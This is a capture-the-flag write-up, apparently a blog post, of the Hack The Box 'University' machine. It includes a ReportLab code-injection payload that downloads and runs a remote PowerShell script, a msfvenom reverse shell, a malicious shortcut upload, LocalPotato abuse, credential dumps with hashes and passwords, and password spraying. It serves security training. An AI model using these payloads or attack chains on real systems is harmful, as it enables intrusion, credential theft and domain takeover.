Hackthebox: University

Foued SAIDI Lv5

Overview

University is an insane-difficulty machine from Hack The Box dealing initially with a web app utilizing ReportLab vulnerable python library where we can abuse an RCE to get initial shell. We’ll then exfiltrate some creds and forward the internal traffic to our machine to be able to access a couple more machines. Then we’ll get a hold of rootCA which we can use to sign a professor certificate and login as them where we’ll be able to upload a malicious Lecture that gets opened and executed as martin.t, abusing CVE-2023-21746 to get local admin access which leaks us a password that’s being reused by all the users. Where we’ll finally abuse SeBackupPrivilege to get domain admin.

University-info-card
University-info-card

Reconnaissance

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
PORT     STATE SERVICE       VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http nginx 1.24.0
|_http-title: Did not follow redirect to http://university.htb/
|_http-server-header: nginx/1.24.0
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2024-10-27 18:27:27Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: university.htb0., Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
2179/tcp open vmrdp?
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: university.htb0., Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 7h04m36s
| smb2-time:
| date: 2024-10-27T18:27:56
|_ start_date: N/A
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required

We can see that we have a web app redirecting us to university.htb so we’ll go ahead and add that to our /etc/hosts file.

Web Application - http://university.htb

Web Application
Web Application

We can see that we can register an account.

After account creation, we can login on http://university.htb/accounts/login/

After logging in, we can see that we can export our profile:

Web Application
Web Application

Looking at the exported pdf, we see a suspicious ReportLab Generated PDF document:

1
2
3
4
5
6
7
8
9
10
11
12
└─$ head -10 profile.pdf                
%PDF-1.4
%���� ReportLab Generated PDF document http://www.reportlab.com
1 0 obj
<<
/F1 2 0 R /F2 3 0 R
>>
endobj
2 0 obj
<<
/BaseFont /Helvetica /Encoding /WinAnsiEncoding /Name /F1 /Subtype /Type1 /Type /Font

Looking for some known exploits for this, I find CVE-2023-33733 which is a code injection vulnerability in ReportLab python library.

This will be our malicious payload:

1
2
3
<para><font color="[[[getattr(pow, Word('__globals__'))['os'].system('powershell.exe -c IEX(curl -useb http://10.10.16.19/r.ps1)') for Word in [ orgTypeFun( 'Word', (str,), { 'mutated': 1, 'startswith': lambda self, x: 1 == 0, '__eq__': lambda self, x: self.mutate() and self.mutated < 0 and str(self) == x, 'mutate': lambda self: { setattr(self, 'mutated', self.mutated - 1) }, '__hash__': lambda self: hash(str(self)), }, ) ] ] for orgTypeFun in [type(type(1))] for none in [[].append(1)]]] and 'red'">  
exploit
</font></para>

And r.ps1 will be our reverse shell script.

Now we’ll input the malicious payload into the bio section and then export the profile, and we get a shell:

1
2
3
4
5
6
7
8
9
└─$ rlwrap nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.16.19] from (UNKNOWN) [10.10.11.39] 51203
Windows PowerShell running as user WAO on DC
Copyright (C) 2015 Microsoft Corporation. All rights reserved.

PS C:\Web\University>whoami
university\wao
PS C:\Web\University>

As usual, first thing to do is to look for credentials. We find credentials for wao user:

1
2
3
4
5
6
7
8
9
10
PS C:\Web\DB Backups> cat db-backup-automator.ps1
$sourcePath = "C:\Web\University\db.sqlite3"
$destinationPath = "C:\Web\DB Backups\"
$7zExePath = "C:\Program Files\7-Zip\7z.exe"

$zipFileName = "DB-Backup-$(Get-Date -Format 'yyyy-MM-dd').zip"
$zipFilePath = Join-Path -Path $destinationPath -ChildPath $zipFileName
$7zCommand = "& `"$7zExePath`" a `"$zipFilePath`" `"$sourcePath`" -p'WebAO1337'"
Invoke-Expression -Command $7zCommand

Now I can use the shell I have to run SharpHound.exe:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
PS C:\Web\DB Backups> ./s.exe --collectionmethods All
2025-07-30T11:23:37.8811644-07:00|INFORMATION|This version of SharpHound is compatible with the 5.0.0 Release of BloodHound
2025-07-30T11:23:38.0062171-07:00|INFORMATION|Resolved Collection Methods: Group, LocalAdmin, GPOLocalGroup, Session, LoggedOn, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote, UserRights, CARegistry, DCRegistry, CertServices
2025-07-30T11:23:38.0218121-07:00|INFORMATION|Initializing SharpHound at 11:23 AM on 7/30/2025
2025-07-30T11:23:38.1936777-07:00|INFORMATION|[CommonLib LDAPUtils]Found usable Domain Controller for university.htb : DC.university.htb
2025-07-30T11:23:38.2092915-07:00|INFORMATION|Flags: Group, LocalAdmin, GPOLocalGroup, Session, LoggedOn, Trusts, ACL, Container, RDP, ObjectProps, DCOM, SPNTargets, PSRemote, UserRights, CARegistry, DCRegistry, CertServices
2025-07-30T11:23:38.3655625-07:00|INFORMATION|Beginning LDAP search for university.htb
2025-07-30T11:23:38.3655625-07:00|INFORMATION|Testing ldap connection to university.htb
2025-07-30T11:23:38.3968028-07:00|INFORMATION|Beginning LDAP search for university.htb Configuration NC
2025-07-30T11:24:09.1211142-07:00|INFORMATION|Status: 0 objects finished (+0 0)/s -- Using 34 MB RAM
2025-07-30T11:24:20.1092514-07:00|INFORMATION|Producer has finished, closing LDAP channel
2025-07-30T11:24:20.1248460-07:00|INFORMATION|LDAP channel closed, waiting for consumers
2025-07-30T11:24:20.2654796-07:00|INFORMATION|Consumers finished, closing output channel
2025-07-30T11:24:20.2654796-07:00|INFORMATION|Output channel closed, waiting for output task to complete
Closing writers
2025-07-30T11:24:20.4842299-07:00|INFORMATION|Status: 308 objects finished (+308 7.333333)/s -- Using 39 MB RAM
2025-07-30T11:24:20.4842299-07:00|INFORMATION|Enumeration finished in 00:00:42.1309881
2025-07-30T11:24:20.5467439-07:00|INFORMATION|Saving cache with stats: 271 ID to type mappings.
270 name to SID mappings.
0 machine sid mappings.
2 sid to domain mappings.
0 global catalog mappings.
2025-07-30T11:24:20.5780284-07:00|INFORMATION|SharpHound Enumeration Completed at 11:24 AM on 7/30/2025! Happy Graphing!

And to transfer the file, I’ll transform it to base64 with this payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
$inputFile = "C:\Web\DB Backups\20250730112420_BloodHound.zip"
$outputFile = "C:\Web\DB Backups\blood.b64"

# Open input file and output file streams
$inputStream = [System.IO.File]::OpenRead($inputFile)
$outputStream = [System.IO.StreamWriter]::new($outputFile)

try {
# Set chunk size (adjust as needed)
$chunkSize = 64KB
$buffer = New-Object byte[] $chunkSize

# Read and encode the file in chunks
while (($bytesRead = $inputStream.Read($buffer, 0, $buffer.Length)) -gt 0) {
$encodedChunk = [Convert]::ToBase64String($buffer, 0, $bytesRead)
$outputStream.WriteLine($encodedChunk)
}
}
finally {
# Close the file streams
$inputStream.Close()
$outputStream.Close()
}

Write-Host "Base64 encoding completed."

And then transfer it to my machine, clean it and decode it:

1
2
3
$ grep -o '[A-Za-z0-9+/=]' blood.b64  | tr -d '\n' > cleaned_blood.b64
base64 -d cleaned_blood.b64 > bloodhound.zip

Also looking at network interfaces, we discover another internal network:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
PS C:\Web\DB Backups> ipconfig

Windows IP Configuration


Ethernet adapter vEthernet (Internal-VSwitch1):

Connection-specific DNS Suffix . :
Link-local IPv6 Address . . . . . : fe80::47c0:fbc9:2d7b:e4bb%6
IPv4 Address. . . . . . . . . . . : 192.168.99.1
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . :

Ethernet adapter Ethernet0 2:

Connection-specific DNS Suffix . :
IPv6 Address. . . . . . . . . . . : dead:beef::ae73:e115:1e52:ef66
Link-local IPv6 Address . . . . . : fe80::fb43:a91c:6cf:36a0%4
IPv4 Address. . . . . . . . . . . : 10.10.11.39
Subnet Mask . . . . . . . . . . . : 255.255.254.0
Default Gateway . . . . . . . . . : fe80::250:56ff:feb9:247e%4
10.10.10.2

So I’ll setup ligolo and connect to that internal network.

Commands to setup the tunnel after running ./proxy --self-cert on the attacker machine and .\agent.exe -connect 10.10.16.19:11601 -ignore-cert on the victim:

1
2
3
sudo ip tuntap add user kali mode tun ligolo
sudo ip link set ligolo up
sudo ip route add 192.168.99.0/24 dev ligolo

Running nmap we can discover two hosts:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
$ nmap -T4 192.168.99.2   
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-30 07:50 EDT
Stats: 0:00:06 elapsed; 0 hosts completed (1 up), 1 undergoing SYN Stealth Scan
SYN Stealth Scan Timing: About 14.10% done; ETC: 07:51 (0:00:43 remaining)
Nmap scan report for 192.168.99.2
Host is up (0.065s latency).
Not shown: 996 filtered tcp ports (no-response)
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
5985/tcp open wsman


$ nmap -T4 192.168.99.12
Starting Nmap 7.95 ( https://nmap.org ) at 2025-07-30 07:51 EDT
Nmap scan report for 192.168.99.12
Host is up (0.033s latency).
Not shown: 999 filtered tcp ports (no-response)
PORT STATE SERVICE
22/tcp open ssh

We now check our user’s access on them:

1
2
3
4
5
(base) ┌──(kali㉿kali)-[~/Downloads]
└─$ nxc winrm 192.168.99.2 -u wao -p WebAO1337
WINRM 192.168.99.2 5985 WS-3 [*] Windows 10 / Server 2019 Build 17763 (name:WS-3) (domain:university.htb)
WINRM 192.168.99.2 5985 WS-3 [+] university.htb\wao:WebAO1337 (Pwn3d!)

And indeed we can connect with winrm on 192.168.99.2:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
$ evil-winrm -i 192.168.99.2 -u wao -p 'WebAO1337'          

Evil-WinRM shell v3.7

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\wao\Documents> whoami
university\wao
*Evil-WinRM* PS C:\Users\wao\Documents> hostname
WS-3

The host we are on now is WS-3.

Now checking our user’s desktop we find an interesting note:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
*Evil-WinRM* PS C:\Users\wao\desktop> ls


Directory: C:\Users\wao\desktop


Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 3/13/2024 11:27 AM 532 README.txt


*Evil-WinRM* PS C:\Users\wao\desktop> cat README.txt
Hello Professors.
We have created this note for all the users on the domain computers: WS-1, WS-2 and WS-3.
These computers have not been updated since 10/29/2023.
Since these devices are used for content evaluation purposes, they should always have the latest security updates.
So please be sure to complete your current assessments and move on to the computers "WS-4" and "WS-5".
The security team will begin working on the updates and applying new security policies early next month.
Best regards.
Help Desk team - Rose Lanosta.
*Evil-WinRM* PS C:\Users\wao\desktop>

Now I’ll go onto the linux machine:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
$ ssh [email protected]                       
The authenticity of host '192.168.99.12 (192.168.99.12)' can't be established.
ED25519 key fingerprint is SHA256:z8L0+f0YSMRypoPvBj1IMW944a9RwwJXiKkrXdvipy4.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.99.12' (ED25519) to the list of known hosts.
--------------------------[!]WARNING[!]-----------------------------
|This LAB is created for web app features testing purposes ONLY....|
|Please DO NOT leave any critical information while this machine is|
| accessible by all the "Web Developers" as sudo users |
--------------------------------------------------------------------
[email protected]'s password:
Welcome to Ubuntu 18.04.6 LTS (GNU/Linux 4.15.0-213-generic x86_64)

* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
Last login: Mon Oct 21 17:11:58 2024 from 192.168.99.1
wao@LAB-2:~$ id
uid=1001(wao) gid=1001(wao) groups=1001(wao),27(sudo)
wao@LAB-2:~$

Directly we can see that we can execute anything as sudo so we become root:

1
2
3
4
5
6
7
8
9
10
11
wao@LAB-2:~$ sudo -l
[sudo] password for wao:
Matching Defaults entries for wao on LAB-2:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User wao may run the following commands on LAB-2:
(ALL : ALL) ALL
wao@LAB-2:~$ sudo su
root@LAB-2:/home/wao# id
uid=0(root) gid=0(root) groups=0(root)
root@LAB-2:/home/wao#

Now looking back at the initial login page, there was an option to login with a signed certificate, and on the DC machine we can find some root certificates:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
PS C:\Web\University\CA> ls


Directory: C:\Web\University\CA


Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 2/15/2024 5:51 AM 1399 rootCA.crt
-a---- 2/15/2024 5:48 AM 1704 rootCA.key
-a---- 2/25/2024 5:41 PM 42 rootCA.srl


PS C:\Web\University\CA>

So we can use them to sign a professor’s cert and login with them and see what we can do.
Looking at bloodhound, there is a group called CONTENT EVALATORS, which are most probably the professors, we’ll abuse Geroge here:

Bloodhound
Bloodhound

First I’ll request a key and cert for him:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
$ openssl req -newkey rsa:2048 -keyout PK_george.key -out george-CSR.csr
...+......+.+........+....+.....+.+...........+.............+++++++++++++++++++++++++++++++++++++++*....+.....+......+...+.+.....+....+..+..........+..+...+............+.............+..+............+...+......+.......+..+.+++++++++++++++++++++++++++++++++++++++*......+.+..............+.+.......................+....+..+..........+...+.....+......+...............+.+...+.....................+......+......+..+.............+...+..............+.+..+....+.....+....+..+....+...+......+.........+..+...+......+.+......++++++
..+....+...+........+.+.....+......+++++++++++++++++++++++++++++++++++++++*..................+..+............+......+.+...+...+...+.........+..+......+.........+....+......+........+...+..........+..+.+..............+...+++++++++++++++++++++++++++++++++++++++*...+....+..+......+.......+........+.......+........+.......+...+..+.+............+........+.+.....+......+...+......+......+...+.........................+......+...............+.........+.....+.+.....+....+...........+.+.........+...+...............++++++
Enter PEM pass phrase:
Verifying - Enter PEM pass phrase:
-----
You are about to be asked to enter information that will be incorporated
into your certificate request.
What you are about to enter is what is called a Distinguished Name or a DN.
There are quite a few fields but you can leave some blank
For some fields there will be a default value,
If you enter '.', the field will be left blank.
-----
Country Name (2 letter code) [AU]:
State or Province Name (full name) [Some-State]:
Locality Name (eg, city) []:
Organization Name (eg, company) [Internet Widgits Pty Ltd]:
Organizational Unit Name (eg, section) []:
Common Name (e.g. server FQDN or YOUR name) []:george
Email Address []:[email protected]

Please enter the following 'extra' attributes
to be sent with your certificate request
A challenge password []:george
An optional company name []:

Now sign it with the rootCA:

1
2
3
4
$ openssl x509 -req -in george-CSR.csr -CA rootCA.crt -CAkey rootCA.key -CAcreateserial > george.pem
Certificate request self-signature ok
subject=C=AU, ST=Some-State, O=Internet Widgits Pty Ltd

And we are in:

Login as george
Login as george

We can find an Add a new lecture option under “Manage Cources”. We can find the instructions to add a new course:

Add a lecture
Add a lecture

Add a lecture
Add a lecture

Maybe we can get a reverse shell if the URL in the url file is pointing to our reverse shell?
First, we establish the public key:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
$ gpg --gen-key
gpg (GnuPG) 2.2.45; Copyright (C) 2024 g10 Code GmbH
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.

Note: Use "gpg --full-generate-key" for a full featured key generation dialog.

GnuPG needs to construct a user ID to identify your key.

Real name: george
Email address: [email protected]
You selected this USER-ID:
"george <[email protected]>"

Change (N)ame, (E)mail, or (O)kay/(Q)uit? O
We need to generate a lot of random bytes. It is a good idea to perform
some other action (type on the keyboard, move the mouse, utilize the
disks) during the prime generation; this gives the random number
generator a better chance to gain enough entropy.
We need to generate a lot of random bytes. It is a good idea to perform
some other action (type on the keyboard, move the mouse, utilize the
disks) during the prime generation; this gives the random number
generator a better chance to gain enough entropy.
gpg: directory '/home/kali/.gnupg/openpgp-revocs.d' created
gpg: revocation certificate stored as '/home/kali/.gnupg/openpgp-revocs.d/9FD9816C5D80B6618FB66A302F730A905BA63813.rev'
public and secret key created and signed.

pub rsa3072 2025-07-30 [SC] [expires: 2028-07-29]
9FD9816C5D80B6618FB66A302F730A905BA63813
uid george <[email protected]>
sub rsa3072 2025-07-30 [E] [expires: 2028-07-29]


$ gpg --export -a "george" > gpg.key

Now I’ll create a url file, point it to my reverse shell and zip it:

1
2
3
4
$ cat Reference-1.url                                   
[InternetShortcut]
URL=file://C:/Users/WAO/Documents/revshell.exe
IDList=

Now zip it:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
(base) ┌──(kali㉿kali)-[~/Downloads]
└─$ 7z u revshell.zip Reference-1.url

7-Zip 24.08 (x64) : Copyright (c) 1999-2024 Igor Pavlov : 2024-08-11
64-bit locale=en_US.UTF-8 Threads:32 OPEN_MAX:1024

Scanning the drive:
1 file, 74 bytes (1 KiB)

Creating archive: revshell.zip

Add new data to archive: 1 file, 74 bytes (1 KiB)


Files read from disk: 1
Archive size: 238 bytes (1 KiB)
Everything is Ok

(base) ┌──(kali㉿kali)-[~/Downloads]
└─$ gpg --detach-sign -u george revshell.zip

Now I’ll create my payload:

1
2
3
4
5
6
7
$ msfvenom -p windows/shell_reverse_tcp LHOST=192.168.99.12 LPORT=4444 -f exe > revshell.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 324 bytes
Final size of exe file: 73802 bytes

Now before uploading the file, we must first upload the public key onto the platform from here: http://university.htb/accounts/upload_PubKEY/

Now we’ll get a successful upload.

And after a few seconds I get a callback as martin:

1
2
3
4
5
6
7
8
9
10
11
wao@LAB-2:~$ nc -lvnp 4444
Listening on [0.0.0.0] (family 0, port 4444)
Connection from 192.168.99.2 59758 received!
Microsoft Windows [Version 10.0.17763.3650]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
whoami
university\martin.t

C:\Windows\system32>

And we can get user flag from him:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
PS C:\users\martin.t\desktop> ls
ls


Directory: C:\users\martin.t\desktop


Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 7/31/2025 2:43 PM Lecture
-a---- 3/13/2024 11:27 AM 532 README.txt
-a---- 7/31/2025 4:05 AM 34 user.txt


PS C:\users\martin.t\desktop> cat user.txt
cat user.txt
be4d1d1b0542b4c6ae85354ec3eb548c
PS C:\users\martin.t\desktop>

Privilege Escalation

Now it has been mentioned previously that the box has not been patched for a long time.
We can use wmic to check the updates:

1
2
3
4
5
6
PS C:\users\martin.t\desktop> wmic qfe get Caption,Description,HotFixID,InstalledOn
wmic qfe get Caption,Description,HotFixID,InstalledOn
Caption Description HotFixID InstalledOn
http://support.microsoft.com/?kbid=5020627 Update KB5020627 11/5/2022
https://support.microsoft.com/help/5019966 Security Update KB5019966 11/5/2022
Security Update KB5020374 11/5/2022

For this we can use LocalPotato

Now I’ll replace a powershell script that’s on the automation script folder with my reverse shell script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
PS C:\temp> ./LocalPotato.exe -i r.ps1 -o "\Program Files\Automation-Scripts\wpad-cache-cleaner.ps1"
./LocalPotato.exe -i r.ps1 -o "\Program Files\Automation-Scripts\wpad-cache-cleaner.ps1"


LocalPotato (aka CVE-2023-21746 & HTTP/WebDAV)
by splinter_code & decoder_it

[*] Objref Moniker Display Name = objref:TUVPVwEAAAAAAAAAAAAAAMAAAAAAAABGAQAAAAAAAABY2JVFA1OhKias9gBDii9PAZQAAEgEQA5QR7qRURVFIysAFQAHAFcAUwAtADMAAAAHADEAOQAyAC4AMQA2ADgALgA5ADkALgAyAAAAAAAJAP//AAAeAP//AAAQAP//AAAKAP//AAAWAP//AAAfAP//AAAOAP//AAAAAA==:
[*] Calling CoGetInstanceFromIStorage with CLSID:{854A20FB-2D44-457D-992F-EF13785D2B51}
[*] Marshalling the IStorage object... IStorageTrigger written: 100 bytes
[*] Received DCOM NTLM type 1 authentication from the privileged client
[*] Connected to the SMB server with ip 127.0.0.1 and port 445
[+] SMB Client Auth Context swapped with SYSTEM
[+] RPC Server Auth Context swapped with the Current User
[*] Received DCOM NTLM type 3 authentication from the privileged client
[+] SMB reflected DCOM authentication succeeded!
[+] SMB Connect Tree: \\127.0.0.1\c$ success
[+] SMB Create Request File: Program Files\Automation-Scripts\wpad-cache-cleaner.ps1 success
[+] SMB Write Request file: Program Files\Automation-Scripts\wpad-cache-cleaner.ps1 success
[+] SMB Close File success
[+] SMB Tree Disconnect success

And now we get a callback to our listener:

1
2
3
4
5
wao@LAB-2:~$ nc -nlvp 4455
Listening on [0.0.0.0] (family 0, port 4455)
Connection from 192.168.99.2 63782 received!
whoami
ws-3\administrator

Next we can obtain the local admin hash by copying sam and system hives and performing secretsdump or using mimikatz (but the shell is not so stable.).
And we can obtain the hashes:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
$ impacket-secretsdump [email protected] -hashes :ba76a28db8aaeb636566a414f3e104aa                 
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Service RemoteRegistry is in stopped state
[*] Starting service RemoteRegistry
[*] Target system bootKey: 0xcafb76872642f6bc09dd9e17ae7cddec
[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:ba76a28db8aaeb636566a414f3e104aa:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:71ffc7b2d302f8059b92219e7d7a7ba1:::
sshd:1001:aad3b435b51404eeaad3b435b51404ee:a8bf1bae201f988dc1ca99f1043e11dc:::
[*] Dumping cached domain logon information (domain/username:hash)
UNIVERSITY.HTB/Martin.T:$DCC2$10240#Martin.T#97cacb28b851029449213555226a7dcc: (2025-07-31 11:04:06)
UNIVERSITY.HTB/Administrator:$DCC2$10240#Administrator#d215fbd6ac39c2d0e49628006db4a2ac: (2024-10-21 23:19:28)

[*] Dumping LSA Secrets
[*] $MACHINE.ACC
UNIVERSITY\WS-3$:aes256-cts-hmac-sha1-96:2f406f2fbc41fc6bdf08c7b49d048b145f595664ed770e33d1210c8ddeea43ed
UNIVERSITY\WS-3$:aes128-cts-hmac-sha1-96:9536bafcc7f0f3eaa75666ce9dda4529
UNIVERSITY\WS-3$:des-cbc-md5:1cd33b8062b9f75e
UNIVERSITY\WS-3$:plain_password_hex:b005e0d4f4724296a7513d11b36ba2e9ccd669eca34e4985f48c9f6aedadd85d0ecbe634ad06cbbba69c304449de31229f57edbcd3fdca31663bdf085685dd8120eaeded1b27d744d2a466a9ec67c03bb6b6cf28f9b36cf0b0f04431f894e72fc46ba1710beb3fd0998078d482066e613084e0d7b3f7275a4098a4c62f5e4a9553eaadbd1f2241666c7cb55622b9d13bbcd2bec24107acfc91abe33844f9b9279d5784265ffae661820d6338ff4b2b6d9b560f9bcb2de02fc2620813c9cdf7944278b479d05d1509355075fa280f93dc31fd18d6fcc61b3e77091dccb9cdb4e7cefa21596d35c38647284377d6428e7c
UNIVERSITY\WS-3$:aad3b435b51404eeaad3b435b51404ee:b51c7661e82feb147afffb324d91af34:::
[*] DefaultPassword
UNIVERSITY\Martin.T:v3ryS0l!dP@sswd#X
[*] DPAPI_SYSTEM
dpapi_machinekey:0x1b8c79e73a9fe233c28cc4336b7ef8a310cf7335
dpapi_userkey:0x83c20b2c903526e92b01436284cfc32babe48018
[*] NL$KM
0000 A9 CF 8B DE AB C8 F3 82 92 9F 69 F3 F8 8B C2 F4 ..........i.....
0010 E5 6D AE 0B C5 05 41 8A B3 3C 6A 24 92 D9 F5 95 .m....A..<j$....
0020 BB 90 A6 24 55 AE 8B 6B 7C B5 B2 40 89 52 75 66 ...$U..k|[email protected]
0030 0E F1 23 17 89 D5 A2 AD 22 05 F5 D2 7F F6 DC 87 ..#.....".......
NL$KM:a9cf8bdeabc8f382929f69f3f88bc2f4e56dae0bc505418ab33c6a2492d9f595bb90a62455ae8b6b7cb5b240895275660ef1231789d5a2ad2205f5d27ff6dc87
[*] Cleaning up...
[*] Stopping service RemoteRegistry

We can also see that there is a cleartext password: v3ryS0l!dP@sswd#X

We can use this password with nxc to enumerate the users password, and we’ll find password reuse almost on all of them:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
nxc smb 10.10.11.39 -u usernames.txt -p 'v3ryS0l!dP@sswd#X' --continue-on-success |grep '[+]'
SMB 10.10.11.39 445 DC [+] university.htb\John.D:v3ryS0l!dP@sswd#X
SMB 10.10.11.39 445 DC [+] university.htb\George.A:v3ryS0l!dP@sswd#X
SMB 10.10.11.39 445 DC [+] university.htb\hana:v3ryS0l!dP@sswd#X
SMB 10.10.11.39 445 DC [+] university.htb\karma.watterson:v3ryS0l!dP@sswd#X
SMB 10.10.11.39 445 DC [+] university.htb\Alice.Z:v3ryS0l!dP@sswd#X
SMB 10.10.11.39 445 DC [+] university.htb\Steven.P:v3ryS0l!dP@sswd#X
SMB 10.10.11.39 445 DC [+] university.htb\Karol.J:v3ryS0l!dP@sswd#X
SMB 10.10.11.39 445 DC [+] university.htb\Leon.K:v3ryS0l!dP@sswd#X
SMB 10.10.11.39 445 DC [+] university.htb\A.Crouz:v3ryS0l!dP@sswd#X
SMB 10.10.11.39 445 DC [+] university.htb\Kai.K:v3ryS0l!dP@sswd#X
SMB 10.10.11.39 445 DC [+] university.htb\Arnold.G:v3ryS0l!dP@sswd#X
SMB 10.10.11.39 445 DC [+] university.htb\Kareem.A:v3ryS0l!dP@sswd#X
SMB 10.10.11.39 445 DC [+] university.htb\Lisa.K:v3ryS0l!dP@sswd#X
SMB 10.10.11.39 445 DC [+] university.htb\Jakken.C:v3ryS0l!dP@sswd#X
SMB 10.10.11.39 445 DC [+] university.htb\Nya.R:v3ryS0l!dP@sswd#X
SMB 10.10.11.39 445 DC [+] university.htb\Brose.W:v3ryS0l!dP@sswd#X
SMB 10.10.11.39 445 DC [+] university.htb\Choco.L:v3ryS0l!dP@sswd#X
SMB 10.10.11.39 445 DC [+] university.htb\Rose.L:v3ryS0l!dP@sswd#X
SMB 10.10.11.39 445 DC [+] university.htb\Emma.H:v3ryS0l!dP@sswd#X
SMB 10.10.11.39 445 DC [+] university.htb\C.Freez:v3ryS0l!dP@sswd#X
SMB 10.10.11.39 445 DC [+] university.htb\Martin.T:v3ryS0l!dP@sswd#X

With some enumeration, we can see that brose.w user is part of Backup Operators. You can use this command instead of Bloodhound to check that:

1
2
3
4
5
6
while read -r user; do bloodyAD --host 10.10.11.39 -u martin.t -p 'v3ryS0l!dP@sswd#X' -d university.htb get search --filter "sAMAccountName=$user)" --attr=sAMAccountName,memberOf; done < usernames.txt
<snip>
distinguishedName: CN=Brose wayen,CN=Users,DC=university,DC=htb
memberOf: CN=Help Desk,CN=Users,DC=university,DC=htb; CN=Backup Operators,CN=Builtin,DC=university,DC=htb
sAMAccountName: Brose.W
<snip>

Now logging in as brose.w, we can see she has SeBackupPrivilege enabled:

1
2
3
4
5
6
7
8
9
10
11
12
13
*Evil-WinRM* PS C:\Users\Brose.W\Documents> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name Description State
============================= ============================== =======
SeMachineAccountPrivilege Add workstations to domain Enabled
SeBackupPrivilege Back up files and directories Enabled
SeRestorePrivilege Restore files and directories Enabled
SeShutdownPrivilege Shut down the system Enabled
SeChangeNotifyPrivilege Bypass traverse checking Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled

We can utilize this amazing article: https://www.hackingarticles.in/windows-privilege-escalation-sebackupprivilege/
to abuse the privilege, dump sam and system and get the admin hash.

And finally, get root flag.

That was it for University, hope you learned something new.

-0xkujen

  • Title: Hackthebox: University
  • Author: Foued SAIDI
  • Created at : 2025-08-08 08:03:44
  • Updated at : 2025-08-08 10:03:46
  • Link: https://kujen5.github.io/2025/08/08/Hackthebox-University/
  • License: This work is licensed under CC BY-NC-SA 4.0.